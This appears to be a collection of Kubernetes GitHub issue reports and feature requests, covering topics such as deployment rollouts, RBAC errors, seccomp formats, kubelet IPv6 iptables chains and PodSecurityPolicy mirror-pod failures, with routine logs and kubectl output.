originally discussed in  14961, particularly https://github.com/kubernetes/kubernetes/issues/14961 issuecomment-183431648, but seems like it deserves a standalone issue.  more details to follow.  cc/ @bgrant0607 @wojtek-t @mml @jiangyaoguo @gmarek

i'm wondering if it is possible to apply a filter on pod status phase  for example != succeeded  to get a filtered result server side from the api endpoint:  http://<api_server>/api/v1/namespaces/default/pods   thanks in advance.

once the kubelet is supported on windows, we need to figure out a basic approach to inter-pod networking. some investigation has been done on this front, but it needs to be formalized as documentation, or code + docs if necessary.  relevant links: https://docs.google.com/document/d/15upt333llh-jup_w0rn11nnrz_rwutr0fdjarsadggk/edit https://groups.google.com/forum/ !topic/kubernetes-sig-network/lw6aogpb8ow

i am seeing sporadic logs in my kubernetes cluster which uses the latest v1.4.0. i'd like to know how could i get rid of this annoying logs.      sep 28 10:35:57 gs-k8svm-master docker 10209 : w0928 10:35:57.913191       1 reflector.go:330  ????: watch of  api.namespace ended with: too old resource version: 117287  117585  sep 28 10:35:57 gs-k8svm-master docker 10209 : w0928 10:35:57.955541       1 reflector.go:330  k8s.io/kubernetes/plugin/pkg/admission/resourcequota/resource_access.go:83: watch of  api.resourcequota ended with: too old resource version: 117287  117585  sep 28 10:35:57 gs-k8svm-master docker 10209 : w0928 10:35:57.956615       1 reflector.go:330  k8s.io/kubernetes/plugin/pkg/admission/serviceaccount/admission.go:119: watch of  api.secret ended with: too old resource version: 117287  117585  sep 28 10:35:57 gs-k8svm-master docker 10209 : w0928 10:35:57.961760       1 reflector.go:330  k8s.io/kubernetes/plugin/pkg/admission/limitranger/admission.go:154: watch of  api.limitrange ended with: too old resource version: 117287  117585       i am using the coreos hyperkube image  v1.4.0_coreos.0

using  kubectl edit  is not always ideal for updating the contents of  configmap  object fields. if a field's value is too large, it can be non-intuitive from a user's perspective to replace such value with a file's contents, for example.\r \r this proposal suggests the creation of a  new method for updating a single field in a config map . \r \r this could  be done either through a new sub-command:\r -  kubectl edit-field configmap/myconfigmap field1=\ newvalue\  \r \r or through the use of a flag:\r -  kubectl edit configmap/myconfigmap --field field1=\ test\  \r \r updating a single field's value using a file's contents would also be supported:\r -  kubectl edit configmap/myconfigmap --field field1 --from-file=path/to/file \r -  kubectl edit-field configmap/myconfigmap field1 --from-file=path/to/file \r \r @fabianofranz @jwforres @smarterclayton

seccomp is supported by annotations today in both kubernetes api   25324  and cri   33500 :\r \r -  security.alpha.kubernetes.io/seccomp/container/<container name>  for containers\r - and  security.alpha.kubernetes.io/seccomp/pod  for pod\r \r the candidate values include localhost/<profile-name> , which indicates the profile installed to the node's local seccomp profile root.\r \r so from the api, only the profile path is defined and the profile format is not defined clearly.\r \r althoughthe docker's  seccomp profile format  https://docs.docker.com/engine/security/seccomp/  is supposed at the beginng time, we are adding other runtimes by cri, so it's time to spec the seccomp profile format clearly.\r \r    candidate formats\r \r there are three candidate formats in my opinion  please let me know if i missed others :\r \r - oci  seccomp  https://github.com/opencontainers/runtime-spec/blob/master/config-linux.md seccomp   also reference runc's  seccomp  https://github.com/opencontainers/runc/blob/master/libcontainer/configs/config.go l30 \r - docker's  seccomp  https://docs.docker.com/engine/security/seccomp/ : docker's seccomp of v1.10~1.12 is same with oci seccomp, but it introduces  archmap  https://github.com/docker/docker/blob/master/api/types/seccomp.go l9  in v1.13.\r - define a new one of kubernetes\r \r i prefer to define a new one based on oci seccomp and add  archmap  to it because of \r \r - more stable api \r - and not missing features according different runtimes\r \r @euank @yujuhong @random-liu @timstclair @mrunalp wdyt\r \r cc/ @kubernetes/sig-node-misc

when we execute  kubectl rollout status , we're receiving this error:\r    \r kubectl rollout status deployment/app --namespace=app\r waiting for rollout to finish: 2 out of 6 new replicas have been updated...\r waiting for rollout to finish: 2 out of 6 new replicas have been updated...\r \r error: timed out waiting for the condition\r    \r i also tried to put the option  -w , but it did't change anything.\r \r since we upgraded to kubernetes 1.5.2 we're receiving this. in 1.4.6 it works with no problems. i've tried to update  kubectl  and use previous versions too, but seems to be a problem with the cluster, not with  kubectl  command.  \r \r this is a problem for us because jenkins is using this command to monitor the deployment status, so our builds are crashing in the end. \r \r we're running the cluster on aws  with kops provisioning.\r \r

this causes me to twitch - we should only be logging at v2 the fact the controller started, and any irrelevant info should be removed.  we should also use consistent case and styling on the log messages.\r \r    \r i0121 12:02:51.432455   83214 serviceaccounts_controller.go:120  starting serviceaccount controller\r e0121 12:02:51.433778   83214 util.go:45  metric for serviceaccount_controller already registered\r i0121 12:02:51.534226   83214 create_dockercfg_secrets.go:218  dockercfg secret controller initialized, starting.\r i0121 12:02:52.473084   83214 nodecontroller.go:189  sending events to api server.\r i0121 12:02:52.473581   83214 replication_controller.go:219  starting rc manager\r i0121 12:02:52.473761   83214 replica_set.go:162  starting replicaset controller\r i0121 12:02:52.474188   83214 deployment_controller.go:132  starting deployment controller\r i0121 12:02:52.474291   83214 controller.go:91  starting cronjob manager\r i0121 12:02:52.474352   83214 horizontal.go:132  starting hpa controller\r i0121 12:02:52.474797   83214 daemoncontroller.go:196  starting daemon sets controller manager\r i0121 12:02:52.474830   83214 disruption.go:274  starting disruption controller\r i0121 12:02:52.474835   83214 disruption.go:276  sending events to api server.\r i0121 12:02:52.503869   83214 attach_detach_controller.go:204  starting attach detach controller\r    \r \r not every controller manages a single resource, but those that do should be printing  starting kind controller\   i.e. \ starting replicaset controller\  is the most correct .  the \ sending events to api server\  message should be bumped to a higher level  3  or removed if it conveys no useful info.

i created a service  ops  with 10 replicas, and a  strategy.rollingupdate.maxunavailable  = 1:\r \r    console\r $ kubectl scale deployments ops --replicas 10\r deployment \ ops\  scaled\r \r $ kubectl get pods\r name                  ready     status    restarts   age\r ops-886507735-4h9ad   2/2       running   0          9s\r ops-886507735-9ng1p   2/2       running   0          29s\r ops-886507735-evawq   2/2       running   0          44s\r ops-886507735-ffjhx   2/2       running   0          9s\r ops-886507735-k6mmo   2/2       running   0          9s\r ops-886507735-m2nvl   2/2       running   0          9s\r ops-886507735-pke96   2/2       running   0          9s\r ops-886507735-veazd   2/2       running   0          9s\r ops-886507735-visci   2/2       running   0          9s\r ops-886507735-zdp26   2/2       running   0          9s\r    \r \r if i deploy something wrong, let's suppose, a bad docker image that won't come up, or a tag that doesn't exist, some of the replicas will still be running:\r \r    console\r $ kubectl set image deployment/ops ops=user/ops:nope\r deployment \ ops\  image updated\r \r $ kubectl get pods\r name                   ready     status             restarts   age\r ops-2122582723-10aep   1/2       imagepullbackoff   0          31s\r ops-2122582723-tyvqq   1/2       imagepullbackoff   0          31s\r ops-886507735-4h9ad    2/2       running            0          1m\r ops-886507735-9ng1p    2/2       running            0          1m\r ops-886507735-evawq    2/2       running            0          1m\r ops-886507735-ffjhx    2/2       running            0          1m\r ops-886507735-m2nvl    2/2       running            0          1m\r ops-886507735-pke96    2/2       running            0          1m\r ops-886507735-veazd    2/2       running            0          1m\r ops-886507735-visci    2/2       running            0          1m\r ops-886507735-zdp26    2/2       running            0          1m\r    \r \r now, if i scale down  for some reason  to 2 replicas, for example, what happens is:\r \r    console\r $ kubectl scale deployments ops --replicas 2\r deployment \ ops\  scaled\r \r $ kubectl get pods\r name                   ready     status             restarts   age\r ops-2122582723-tyvqq   1/2       imagepullbackoff   0          2m\r ops-2122582723-yuruf   1/2       errimagepull       0          33s\r ops-886507735-evawq    2/2       running            0          4m\r    \r \r which is ok, service is still up.\r \r now, if i scale down to 1 replica, things get ugly:\r \r    console\r $ kubectl scale deployments ops --replicas 1\r deployment \ ops\  scaled\r \r $ kubectl get pods\r name                   ready     status             restarts   age\r ops-2122582723-tyvqq   1/2       imagepullbackoff   0          3m\r ops-886507735-evawq    2/2       terminating        0          4m\r    \r \r downtime!\r \r why don't kubernetes let the container that was working running instead of killing it and trying to launch a new one?\r \r is there a way of auto-rolling back when this kind of things happen  or even better, prevent it ?

federation e2e tests run in a single e2e job right now. some of the tests in that job is not parallelizable because they either clobber resources used by other jobs or they need clusters to be registered and/or deregistered on-the-fly. this makes the entire suite slow.\r \r we should split the federation test into two jobs. one job should have all the tests that can be run in parallel. and another job with tests that must be run serially. \r \r the way we are going to approach this, is by:\r -  x    40766  going through all the tests and adding   serial   label to the ones that must be run serially. anything not labelled with   serial   will be run in the parallel suite.\r -  x    40767  creating a new test job to run serial tests.\r -  x    40768  moving the cluster registration/deregistration steps from the parallel tests'  beforeeach/aftereach  blocks to federation-up.sh\r \r note: this is an umbrella issue. individual work items will be tracked in their own issues.\r \r cc @kubernetes/sig-federation-bugs @shashidharatd

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i create a list resource containing clusterrole or clusterrolebinding resources. i try to create or apply the list to my google container engine-hosted k8s v1.6.6 cluster. the cluster has rbac enabled. all attempts produce the following error:\r \r  error: unable to get type info from the object \  runtime.unknown\ : no kind is registered for the type runtime.unknown \r \r the error seems to be a go error originating from  https://github.com/kubernetes/apimachinery/blob/master/pkg/runtime/error.go  https://github.com/kubernetes/apimachinery/blob/master/pkg/runtime/error.go .\r \r   what you expected to happen  :\r \r the resource is created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. set up a cluster running kubernetes 1.6.6 with rbac enabled on google container engine\r 2. add a clusterrole or clusterrolebinding resource to a list and attempt to apply it\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.6\r - cloud provider or hardware configuration  : google container engine\r - os  e.g. from /etc/os-release : container-optimized os  cos \r - kernel  e.g.  uname -a  : 4.4.52+\r

cadvisor is becoming an implementation detail of kubernetes, and may even be removed entirely in the future  or pushed down into the cri layer . the kubelet's stats api has been available for a long time as the prefered way of gathering stats, and there are a number of solutions  e.g.  influxdb+grafana  https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/cluster-monitoring/influxdb   for cluster-level monitoring.\r \r as such, we should begin the process of deprecating and removing the cadvisor api surface. as a first step, i propose that we default the cadvisor port to 0  disabled , starting with kubernetes 1.10, and add a deprecation warning to the flag.\r \r if   you   currently depend on the ui or the api, speak up! going forward, the recommended way of taking advantage of those features will be to run cadvisor as a daemonset.\r \r /cc @kubernetes/sig-node-proposals @philips @dashpole

is this a bug report or feature request?  :\r   \r   what happened  :\r https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-init/\r \r apiserverextravolumes, controllermanagerextravolumes and schedulerextravolumes don't support \ type\  for volume definition and \ readonly\  for volumemount definition,  kubeadm always uses \ type: directoryorcreate\  and \ readonly: true\ .\r \r i would like to bind mount a file \ audit-policy.yaml\  which requires \ type: file\ ,   and a directory /var/log/kubernetes which requires \ readonly: false\ ,  currently with kubeadm's master config file, i can't achieve that.\r \r   what you expected to happen  :\r \r please support customization of \ readonly\  and \ type\  for those three   extravolumes  parameters.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r i use vagrant.\r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux node01 4.4.0-111-generic  134-ubuntu smp mon jan 15 14:53:09 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r \r kubeadm-1.9.2\r \r - others:\r \r @kubernetes/sig-cluster-lifecycle-feature-requests\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when setting  --make-iptables-util-chains=true   which is default , kubelet will are present on host, include some iptalbes chains and rules, but kubelet use only ipv4 iptables cmd to do that.\r \r code:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet.go l531\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet_network.go l206\r \r i have a k8s cluster run in ipv6 environment, when running kube-proxy in ipvs mode, it need some util ip6talbes rules, these rules should be matained by kubelet, as the code says:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet.go l531\r \r   what you expected to happen  :\r \r kubelet will make iptables chains and rules both for ipv4 or ipv6. or add a flag for users to choose which one to use.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r stop kubelet, cleanup all iptables/ip6tables chains and rules -f -x -z ,  and then start kubelet.\r \r you can see util chains and rules are created for ipv4:\r \r    \r   iptables-save\r   generated by iptables-save v1.6.0 on thu mar 29 09:08:13 2018\r  nat\r :prerouting accept  202:39838 \r :input accept  0:0 \r :output accept  0:0 \r :postrouting accept  0:0 \r :kube-mark-drop -  0:0 \r :kube-mark-masq -  0:0 \r :kube-postrouting -  0:0 \r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r commit\r   completed on thu mar 29 09:08:13 2018\r   generated by iptables-save v1.6.0 on thu mar 29 09:08:13 2018\r  filter\r :input accept  6:456 \r :forward drop  2603:749557 \r :output accept  7:532 \r :kube-firewall -  0:0 \r -a input -j kube-firewall\r -a output -j kube-firewall\r -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packets\  -m mark --mark 0x8000/0x8000 -j drop\r commit\r    \r \r but nothing for ipv6:\r \r    \r   ip6tables-save\r   generated by ip6tables-save v1.6.0 on thu mar 29 09:08:45 2018\r  filter\r :input accept  4153:2100236 \r :forward accept  5:461 \r :output accept  3800:583919 \r commit\r   completed on thu mar 29 09:08:45 2018\r   generated by ip6tables-save v1.6.0 on thu mar 29 09:08:45 2018\r  nat\r :prerouting accept  4:370 \r :input accept  0:0 \r :output accept  8:640 \r :postrouting accept  12:1010 \r commit\r   completed on thu mar 29 09:08:45 2018\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r my laptop.\r \r - os  e.g. from /etc/os-release :\r \r ubuntu 16.04.3 lts\r \r - kernel  e.g.  uname -a  :\r \r linux ubuntu-s2 4.4.0-112-generic  135-ubuntu smp fri jan 19 11:48:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r \r the  static admission attributes  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/endpoints/handlers/update.go l97  that we use to make a create validation function is given admission.update as its operation field. in the create validation we then use the provided operation  admission.update   here  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/registry/rest/create.go l175-l178 , when we call the admission controllers, even though a new object is being created.\r \r a similar thing is happening with the mutating admission.\r \r this means that when an objects is created on update, the admission controllers will see this as an update request. meaning there could be an objects in storage which never passed create admission validation and were never modified by create admission mutation. i think this is a bug.\r \r   what you expected to happen  :\r admission controllers would handle a create-on-update exactly the same as a normal create

https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet-serial-gce-e2e\r \r the following tests are broken:\r    nvidia gpu device plugin\r    prioritylocalstorageevictionordering\r    prioritymemoryevictionordering\r \r looks like some new validation was added to prevent two things:\r \r 1. setting pod 2. using system-critical  outside of the kube-system namespace.\r \r to fix this, we need to create new  for these tests.\r \r cc @bsalamat \r \r    /

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r >  \r   what happened  :\r old replicaset and old pods are still alive with new replicaset and new pods when using command 'kubectl replace -f  yaml file '\r \r   what you expected to happen  :\r the old replicaset should be scale down to 0 and the old pods will be deleted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the difference bewteen the 2 yaml files. the new yaml file have:\r 1. add  component: propel-sx  in spec.template.metadata.labels\r 2. add affinity section in spec.template.spec.affinity\r \r >       \r       affinity:\r         podantiaffinity:\r           preferredduringschedulingignoredduringexecution:\r           - weight: 100\r             podaffinityterm:\r               labelselector:\r                 matchexpressions:\r                 - key: component\r                   operator: in\r                   values:\r                   - propel-sx\r               topologykey: kubernetes.io/hostname\r           - weight: 100\r             podaffinityterm:\r               labelselector:\r                 matchexpressions:\r                 - key: workload\r                   operator: in\r                   values:\r                   - extrahigh\r               topologykey: kubernetes.io/hostname\r \r   anything else we need to know?  :\r i found a strange thing that the old replicaset will lose the field 'ownerreferences'. i think this field will be used to connect the old replicaset and the new replicaset. scale down the old pod and scale up the new pod. but i don't know why the field 'ownerreferences' lost. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r > client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r \r > name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r \r - kernel  e.g.  uname -a  :\r \r > linux shc-sma-cd75.hpeswlab.net 3.10.0-862.3.2.el7.x86_64  1 smp mon may 21 23:36:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

for example: https://github.com/kubernetes/kubernetes/blob/v1.1.4/docs/user-guide/images.md ! markdown  https://cloud.githubusercontent.com/assets/4631304/12495587/c9293ed2-c090-11e5-9f67-db78c930326b.png  compared to: http://kubernetes.io/v1.1/docs/user-guide/images.html ! html  https://cloud.githubusercontent.com/assets/4631304/12495588/c92cd68c-c090-11e5-8cb3-51d914c8fae7.png   needless to say, this makes the documentation a bit confusing. :

we will want to ship the e2e binary w/ the ability to independently verify its version, esp pending  19624 . cc @timothysc @liggitt @ixdy @pmorie @kubernetes/goog-testing .    i'll craft a pr for this after looking at how version is handled in kubectl, im sure it will be quite simple.

scale is a sub-resource, we shouldn't generate a typed client for it.  cc @lavalamp @madhusudancs

we have a number of scripts in https://github.com/kubernetes/kubernetes/tree/master/hack/after-build that generate docs  markdown, manpages etc  from source. those should be updated to require a docs path so they can still be used to push updates to https://github.com/kubernetes/kubernetes.github.io.  cc @johndmulhausen

when a petset is deleted, the underlying pods / pvcs / pvs are not deleted.  using the redis example:      > kubectl delete petset rd petset \ rd\  deleted  > kubectl get pods name      ready     status    restarts   age rd-0      1/1       running   0          5m rd-1      1/1       running   0          4m rd-2      1/1       running   0          1m  > kubectl get pvc name           status    volume                                     capacity   accessmodes   age datadir-rd-0   bound     pvc-237b0114-350a-11e6-964c-42010a800002   0                        19m datadir-rd-1   bound     pvc-2382b0c2-350a-11e6-964c-42010a800002   0                        19m datadir-rd-2   bound     pvc-23862681-350a-11e6-964c-42010a800002   0                        19m  >kubectl get pv name                                       capacity   accessmodes   status    claim                  reason    age pvc-237b0114-350a-11e6-964c-42010a800002   20gi       rwo           bound     default/datadir-rd-0             20m pvc-2382b0c2-350a-11e6-964c-42010a800002   20gi       rwo           bound     default/datadir-rd-1             20m pvc-23862681-350a-11e6-964c-42010a800002   20gi       rwo           bound     default/datadir-rd-2             20m

it is necessary for vm-based runtime to use cni, like hyper, e.g. may be we can refactor code of  cninetworkplugin  https://github.com/kubernetes/kubernetes/tree/master/pkg/kubelet/network/cni  and reuse in all kinds of runtime.\r \r \r ref:https://github.com/containernetworking/cni/pull/145 is merged, this refactoring may become possible.\r \r cc @dcbw @caseydavenport \r

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r kube-proxy\r proxy loop\r proxysocket\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r in  kubernetes/pkg/proxy/userspace/proxysocket.go  the udp proxyloop should use fine-tuned buffer, and not just a 4kb buffer.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   49072\r \r   what happened  :\r \r after this commit was introduced, local-up-cluster.sh always fail with \ timed out waiting for apiserver\  error.\r \r    \r commit 413ab26df92c3da66bc6eb60c1d1105f6ac267fc\r     use https to check healthz in hack/local-up-cluster.sh\r    \r \r i'm not sure the reason but the local-up-cluster.sh successfully start if i specify enable_rbac=true option to local-up-cluster.sh.\r \r   what you expected to happen  :\r \r the local-up-cluster.sh will successfully start without any additional options.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r % hack/local-up-cluster.sh\r    \r

hi,\r \r the closest issue that i've found is https://github.com/kubernetes/kubernetes/issues/53467 though is not really related to what i found while checking the issue further.\r \r  \r   what happened  :\r \r the core essential pods are not getting scheduled  visible? , though, i can see their containers are up & running:\r \r    \r  root@k8s-master2 ~   kubectl get pods --all-namespaces -o wide\r no resources found.\r    \r \r    \r  root@k8s-master2 ~   docker ps -a\r container id        image                                                                           command                  created             status                        ports               names\r 8fcab1995899        gcr.io/google_containers/kube-scheduler-amd64            \ kube-scheduler --ad…\    11 minutes ago      up 11 minutes                                     k8s_kube-scheduler_kube-scheduler-k8s-master2_kube-system_4aeaf04163b153cb7d507dcaee2a075e_6\r c60df9d40850        gcr.io/google_containers/kube-controller-manager-amd64   \ kube-controller-man…\    11 minutes ago      up 11 minutes                                     k8s_kube-controller-manager_kube-controller-manager-k8s-master2_kube-system_78e21daf3021ff100214487b10547692_6\r 1e3b1121d954        gcr.io/google_containers/kube-apiserver-amd64            \ kube-apiserver --ad…\    11 minutes ago      up 11 minutes                                     k8s_kube-apiserver_kube-apiserver-k8s-master2_kube-system_c8a6c1a94604ac0a5856d2c6f3cb6b8a_0\r a91d91b43af2        gcr.io/google_containers/pause-amd64:3.0                 \ /pause\                  11 minutes ago      up 11 minutes                                     k8s_pod_kube-apiserver-k8s-master2_kube-system_c8a6c1a94604ac0a5856d2c6f3cb6b8a_0\r d0c4c5fabd6a        gcr.io/google_containers/etcd-amd64                      \ etcd --data-dir=/va…\    2 hours ago         up 2 hours                                        k8s_etcd_etcd-k8s-master2_kube-system_59ee4f346043b976f34c38fb287f7e43_0\r ad837a4fa845        gcr.io/google_containers/pause-amd64:3.0                 \ /pause\                  2 hours ago         up 2 hours                                        k8s_pod_etcd-k8s-master2_kube-system_59ee4f346043b976f34c38fb287f7e43_0\r 66e476fcc0b9        gcr.io/google_containers/pause-amd64:3.0                 \ /pause\                  2 hours ago         up 2 hours                                        k8s_pod_kube-scheduler-k8s-master2_kube-system_4aeaf04163b153cb7d507dcaee2a075e_0\r 027a8bac3d11        gcr.io/google_containers/pause-amd64:3.0                 \ /pause\                  2 hours ago         up 2 hours                                        k8s_pod_kube-controller-manager-k8s-master2_kube-system_78e21daf3021ff100214487b10547692_0\r    \r \r these 3 messages appearing every minute in the kubelet's log:\r \r    \r   journalctl -u kubelet -f\r ...\r jan 21 18:30:32 k8s-master2 kubelet 12323 : e0121 18:30:32.956897   12323 kubelet.go:1607  failed creating a mirror pod for \ kube-apiserver-k8s-master2_kube-system bb9ce4c3d9bcfc3b1710c0cce9169ed2 \ : pods \ kube-apiserver-k8s-master2\  is forbidden: unable to validate against any pod security policy:   \r jan 21 18:30:33 k8s-master2 kubelet 12323 : e0121 18:30:33.928609   12323 kubelet.go:1607  failed creating a mirror pod for \ kube-scheduler-k8s-master2_kube-system 4aeaf04163b153cb7d507dcaee2a075e \ : pods \ kube-scheduler-k8s-master2\  is forbidden: unable to validate against any pod security policy:   \r jan 21 18:30:34 k8s-master2 kubelet 12323 : e0121 18:30:34.013815   12323 kubelet.go:1607  failed creating a mirror pod for \ kube-controller-manager-k8s-master2_kube-system 78e21daf3021ff100214487b10547692 \ : pods \ kube-controller-manager-k8s-master2\  is forbidden: unable to validate against any pod security policy:   \r    \r \r   what you expected to happen  :\r \r - the core essential pods should be scheduled and visible upon   kubectl get pods --all-namespaces  ;\r - kubelet should not be having a problem using the psp  podsecuritypolicies  as seen in the kubelet log above;\r - i presume that   system:node   clusterrole should have an access to   use   verb to   podsecuritypolicies.extensions  ;\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - deploy a fresh kubernetes v1.9.1 using kubeadm command;\r - make sure to enable   podsecuritypolicy   admission control;\r - check the kubelet's logs and see the repeating   failed creating a mirror pod for ... kube-apiserver, kube-scheduler and kube-controller-manager ... is forbidden: unable to validate against any pod security policy:      messages;\r \r   anything else we need to know?  :\r \r i've got a fresh kubernetes v1.9.1 install via kubeadm with the enabled   podsecuritypolicy  :\r \r - kube-apiserver   ... --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds,noderestriction,resourcequota,podsecuritypolicy,denyescalatingexec ... --authorization-mode=node,rbac ...  \r \r my only psp in this test:\r \r    \r echo \ \r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: example\r spec:\r   privileged: false\r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   runasuser:\r     rule: runasany\r   fsgroup:\r     rule: runasany\r \  | kubectl apply -f -\r    \r \r    checking whether the use action is allowed against psp\r \r might this issue be due to a node cannot apply   use   verb to   podsecuritypolicies.extensions   ?\r \r kubelet's x509  client-certificate-data from   /etc/kubernetes/kubelet.conf    has:   subject: o=system:nodes, cn=system:node:k8s-master2  \r \r > it actually   cannot create selfsubjectaccessreviews   so one can't really use   auth can-i   here. but checking the   system:node   clusterrole, i couldn't find anything related to the podsecuritypolicy extension in there.\r \r    \r   kubectl --as system:node:k8s-master2 --as-group system:nodes auth can-i use podsecuritypolicies.extensions\r error from server  forbidden : selfsubjectaccessreviews.authorization.k8s.io is forbidden: user \ system:node:k8s-master2\  cannot create selfsubjectaccessreviews.authorization.k8s.io at the cluster scope\r    \r \r according to the  core component roles  https://github.com/kubernetes/website/blob/83dc3c58b13b47c081b7b50e43e5107104ec7fa3/docs/admin/authorization/rbac.md l547  page, the   system:node   default clusterrole should be automatically bound to the   system:nodes   group if the   node   authorization mode is enabled  in k8s 1.8+ .\r \r     one more issue?\r \r and i have just noticed  at the moment of writing this post , when i am running    kubectl get psp example -o yaml  , it gives   allowprivilegeescalation: true   despite that i was setting   privileged: false  \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.1\r - cloud provider or hardware configuration: qemu/kvm\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  : linux k8s-master2 3.10.0-693.11.6.el7.x86_64  1 smp thu jan 4 01:06:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r

openapi aggregation appears to block aggregation of the apis and it is very slow.  registering a dozen or so versions at the same time for openshift takes several seconds for each version, during which time the apiservice is unavailable.\r \r since we added etags to the openapi endpoints, clients who want the openapi will be alerted when they eventually aggregate.  clients that don't need it will be able to use the endpoints straight away.\r \r @sttts @mbohlool \r @kubernetes/sig-api-machinery-bugs

is this a bug report  :\r   \r   what happened  :\r with  58502 an issue has been introduced to the openstack cloudprovider. this leads to a problem when the kubelet tries to get the  externalid  of the node.\r \r https://github.com/kubernetes/kubernetes/blob/e3ac40264fa34bac9e4d1c95e56d1d6203554511/pkg/cloudprovider/providers/openstack/openstack.go l419-l421\r \r i don't see a way how you can do a server list query with gophercloud by providing the fqdn of an instance.\r \r   environment  :\r - kubernetes version: 1.10\r - cloud provider or hardware configuration: openstack\r \r

